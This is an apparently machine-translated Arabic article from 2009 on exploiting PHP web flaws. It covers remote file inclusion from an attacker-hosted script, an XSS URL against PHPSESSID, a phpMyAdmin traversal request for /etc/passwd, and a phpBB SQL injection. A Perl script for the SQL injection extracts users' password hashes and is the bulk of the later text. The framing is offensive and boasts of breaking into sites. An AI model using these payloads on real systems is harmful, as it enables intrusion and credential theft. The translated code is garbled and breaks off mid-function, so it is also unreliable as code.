تحليل نقاط الضعف الشائعة لصفحات PHP وحل المشكلات ذات الصلة
الكاتب:Eve Cole
وقت التحديث:2009-06-02 18:07:08
انطلاقًا من أمان الشبكة الحالي، يجب أن تكون ثغرة صفحة الويب التي يهتم بها الجميع ويتعرضون لها أكثر من غيرها هي ASP. وفي هذا الصدد، ليس لدي أي رأي في هذا الأمر من وجهة نظر PHP هي أيضًا مشكلة ثغرات أمنية خطيرة جدًا، ولكن لا يوجد الكثير من المقالات في هذا المجال، دعنا نناقش بإيجاز نقاط الضعف ذات الصلة بصفحات PHP.
لقد قمت بعمل ملخص لثغرات PHP الشائعة الحالية، والتي تم تقسيمها تقريبًا إلى الفئات التالية: بما في ذلك ثغرات الملفات، وثغرات تنفيذ أوامر البرنامج النصي، وثغرات تسرب الملفات، وثغرات حقن SQL، وما إلى ذلك. بالطبع، كما هو الحال بالنسبة لبعض التقنيات الشائعة مثل انتحال ملفات تعريف الارتباط، لن أناقشها هنا، فهناك الكثير من المعلومات عنها عبر الإنترنت، لذا، دعونا نحلل كيفية استغلال نقاط الضعف هذه واحدة تلو الأخرى.
أولاً، دعونا نناقش الثغرة الأمنية في الملفات المضمنة. يجب القول أن هذه الثغرة الأمنية فريدة من نوعها بالنسبة لـ PHP. ويرجع ذلك إلى عدم كفاية معالجة البيانات الضارة المقدمة من الخارج، مما يسمح للمهاجمين عن بعد باستغلال هذه الثغرات الأمنية لتنفيذ أوامر عشوائية على النظام باستخدام عملية WEB. الأذونات. دعونا نلقي نظرة على مثال: لنفترض أن هناك مثل هذا الكود في ملف a.php:
include($include."/xxx.php");
?>
في هذا الكود، يعد $include بشكل عام مسارًا تم إعداده، ولكن يمكننا تحقيق غرض الهجوم من خلال إنشاء مسار بأنفسنا. على سبيل المثال، نقوم بإرسال: a.php?include=http://web/b. php، هذا الويب هو المساحة التي نستخدمها للهجوم. بالطبع، b.php هو الكود الذي نستخدمه للهجوم. يمكننا كتابة شيء مثل: passthru("/bin/ls /etc") في كود b.php. بهذه الطريقة، يمكنك تنفيذ بعض الهجمات الهادفة (ملاحظة: يجب ألا يكون خادم الويب قادرًا على تنفيذ تعليمات برمجية PHP، وإلا ستحدث مشكلات. للحصول على التفاصيل ذات الصلة، يمكنك الاطلاع على << كيفية مهاجمة الثغرات الأمنية الشائعة في برامج PHP >>. ).ومن ناحية هذه الثغرة الأمنية، هناك العديد من المشاكل، على سبيل المثال: واجهة متجر PayPal،
HotNews، Mambo Open Source، PhpDig، YABB SE، phpBB، InvisionBoard، SOLMETRA SPAW Editor، Les Visiteurs، PhpGedView، X-Cart وغيرها الكثير.
بعد ذلك، دعونا نلقي نظرة على الثغرة الأمنية في تنفيذ أوامر البرنامج النصي، ويرجع ذلك إلى عدم وجود تصفية كافية لمعلمات URI التي يرسلها المستخدمون المستخدم المستهدف. دعونا أيضًا نعطي مثالاً: صفحة Index.php في PHP الشفافية PHP 4.3.1 أو أقل تفتقر إلى تصفية كافية لـ PHPSESSID، يمكننا تحقيق غرض الهجوم من خلال هذا الكود:
http://web/index.php?PHPSESSID =">في البرنامج النصي، يمكننا إنشاء وظائف للحصول على بعض المعلومات الحساسة للمستخدمين. هناك عدد قليل نسبيًا من نقاط الضعف في هذا الصدد. بالإضافة إلى PHP الشفاف، هناك أيضًا: PHP- Nuke، phpBB، PHP Classifieds، PHPix، Ultimate PHP Board، إلخ.
بعد ذلك، دعونا نلقي نظرة على الثغرة الأمنية الخاصة بالكشف عن الملف، وترجع هذه الثغرة الأمنية إلى عدم وجود تصفية كافية للمعلمات التي يرسلها المستخدم، ويمكن للمهاجمين عن بعد استخدامها لإجراء هجمات اجتياز الدليل والحصول على بعض المعلومات الحساسة. لنأخذ phpMyAdmin الذي تم اكتشافه مؤخرًا كمثال، في phpMyAdmin، لا تقوم صفحة Export.php بتصفية المعلمة "what" التي أرسلها المستخدم بشكل كامل. يمكن للمهاجم البعيد تجاوز ذلك عن طريق إرسال بيانات تحتوي على أحرف '../' متعددة. التغلب على قيود WEB ROOT وعرض أي معلومات ملف على النظام باستخدام أذونات WEB. على سبيل المثال، إدخال مثل هذا العنوان:export.php?what=../../../../../../etc/passwd%00 يمكن أن يحقق غرض تسرب الملف نسبيًا، هناك المزيد: myPHPNuke، وMcNews، وما إلى ذلك.
أخيرًا، عدنا إلى المكان الأكثر إثارة. فكر في مدى متعة استخدام حقن SQL في صفحات asp. في الماضي، كان علينا الحقن يدويًا حتى اكتشف Xiaozhu "الكتاب السري لحقن SQL" (هيهي)، و بعد إطلاق NBSI، أحدث تحالف NB الخاص بنا فرقًا كبيرًا حقًا، لقد ساعدنا في العثور على ثغرات في مواقع الويب الكبيرة مثل CSDN، وMonopoly Forum، وChina Channel (لن أخوض في المزيد من الهراء حول هذا الأمر، إنه أمر قليل خارج الموضوع...). دعنا نعود إلى الموضوع. في الواقع، إدخال SQL في asp هو تقريبًا نفس إدخال SQL في php. فقط انتبه قليلًا إلى الوظائف القليلة المستخدمة ، والوظائف الأخرى لم تتغير بشكل أساسي. في الواقع، عندما يرى الجميع إدخال SQL في PHP، هل يفكرون جميعًا في PHP-NUKE وPHPBB؟ نعم، كما يقول المثل، يمكنك تسجيل نقاط كبيرة مثل Dongwang ملك نقاط الضعف في عالم ASP، وهذا لا يعني أن أمان منتداه ضعيف جدًا، ولكنه معروف جدًا. كلما زاد عدد الأشخاص الذين يستخدمونه، زاد عدد الأشخاص الذين يبحثون عنه، وزاد أمانه سيتم اكتشاف الثغرات، وينطبق الشيء نفسه على PHPBB، والآن عدد كبير من الأشخاص الذين يستخدمون PHP لإنشاء منتدى، عادةً ما يختارون PHPBB، حيث تظهر نقاط الضعف فيه دائمًا، من أقدم الثغرات الأمنية المكتشفة في إصدار phpBB 1.4.0. من phpBB.com إلى أحدث ملف groupcp.php في إصدار phpBB 2.0.6، بالإضافة إلى search.php وprofile.php وviewtopic.php وما إلى ذلك التي تم اكتشافها من قبل، فمن المحتمل أن يكون هناك حوالي اثنتي عشرة منها لقد أدى ذلك دائمًا إلى قيام بعض الأشخاص باستخدامه كمنتج تجريبي عند دراسة ثغرات PHP، وهو ما يسمى بعد الكثير من التدريب، أعتقد أن PHPBB سوف يتحسن في المستقبل.
حسنًا، دعنا نحلل سبب الثغرة الأمنية. خذ صفحة viewtopic.php كمثال. عند استدعاء viewtopic.php، يتم الحصول على "topic_id" مباشرةً من طلب GET وتمريره إلى أمر استعلام SQL دون تنفيذه معالجة التصفية، يمكن للمهاجم إرسال سلسلة SQL خاصة للحصول على كلمة مرور MD5، ويمكن استخدام الحصول على معلومات كلمة المرور هذه لتسجيل الدخول التلقائي أو الاختراق العنيف. (لا أعتقد أن أي شخص قد يرغب في إجراء عملية اختراق القوة الغاشمة، ما لم يكن هناك سبب مهم بشكل خاص: دعنا نلقي نظرة على الكود المصدري ذي الصلة أولاً):
# إذا ( isset($HTTP_GET_VARS[POST_TOPIC_URL])) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic'])) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
مما سبق يمكننا أن نرى أنه إذا تم تعيين view=newest وsid المقدم على قيمة، فإن كود الاستعلام الذي تم تنفيذه يبدو كما يلي (إذا لم تكن قد شاهدت كود مصدر PHPBB، أقترح عليك قراءته ثم المجيء إلى هنا انظر، الأنظمة المتأثرة هي: phpBB 2.0.5 وphpBB 2.0.4).
# $sql = "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# أين s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# الطلب حسب p.post_time ASC
# الحد 1"؛
قدم ريك رمز الاختبار التالي:
استخدم IO::Socket;
$remote = Shift ||.'localhost';
$view_topic = Shift ||'/phpBB2/viewtopic.php';
$uid = التحول ||.
منفذ $ = 80؛
$dbtype = 'mysql4'; # mysql4 أو pgsql
طباعة "محاولة الحصول على تجزئة كلمة المرور لخادم uid $uid $remote dbtype: $dbtypen";
$p = "";
لـ($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
بيربورت => منفذ $،
بروتو => "برنامج التعاون الفني"،
اكتب => SOCK_STREAM)
أو يموت "تعذر الاتصال بـ $remote:$port : $@n ";
$str = "GET $view_topic" "?sid=1&topic_id=-1" .
طباعة $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n"; # استبدل هذا بـ pgsql أو قم بإزالته
طباعة $socket "المضيف: $remotenn";
بينما ($الإجابة = <$socket>)
{
إذا ($answer =~ /location:.*x23(d+)/) # يطابق الموقع: viewtopic.php?p=#
{
$p .= chr ();
}
}
إغلاق($socket);
}
طباعة "nتجزئة MD5 لـ uid $uid هي $pn";
# يساعد التشفير العشوائي على تجنب الكشف
رمز عشوائي فرعي
{
$str = التحول;
$ret = "";
ل($i=0; $i